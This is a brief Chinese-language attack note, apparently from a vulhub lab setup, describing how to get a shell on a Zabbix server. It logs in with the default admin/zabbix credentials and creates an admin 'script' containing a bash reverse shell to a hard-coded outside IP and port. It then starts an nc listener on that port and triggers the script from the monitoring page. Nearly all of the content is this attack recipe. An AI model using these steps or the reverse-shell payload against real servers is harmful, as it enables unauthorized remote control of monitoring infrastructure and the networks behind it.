Zabbix

注 : 
docker 建立好環境時，觸發器並未開啟(配置 ->動作) 所以建立腳本時不會有任何告警，需要開啟配置 -> 主機 (將 127.0.0.1 改成自己內網 ip，端口改成8080)

內文 :

常規後台 Getshell

admin / zabbix

管理 -> 腳本 -> 創建。

Reverse_shell 到 VPS。

PoC :

bash -c "bash -i >& /dev/tcp/207.148.2.180/1050 0>&1"

VPS 監聽。

nc -lvnp 1050

監控中 -> 最新數據 -> 主機。

最後在點選新創建的腳本。

Reference :
https://cloud.tencent.com/developer/article/1586454
https://github.com/vulhub/vulhub/blob/master/zabbix/CVE-2016-10134/README.md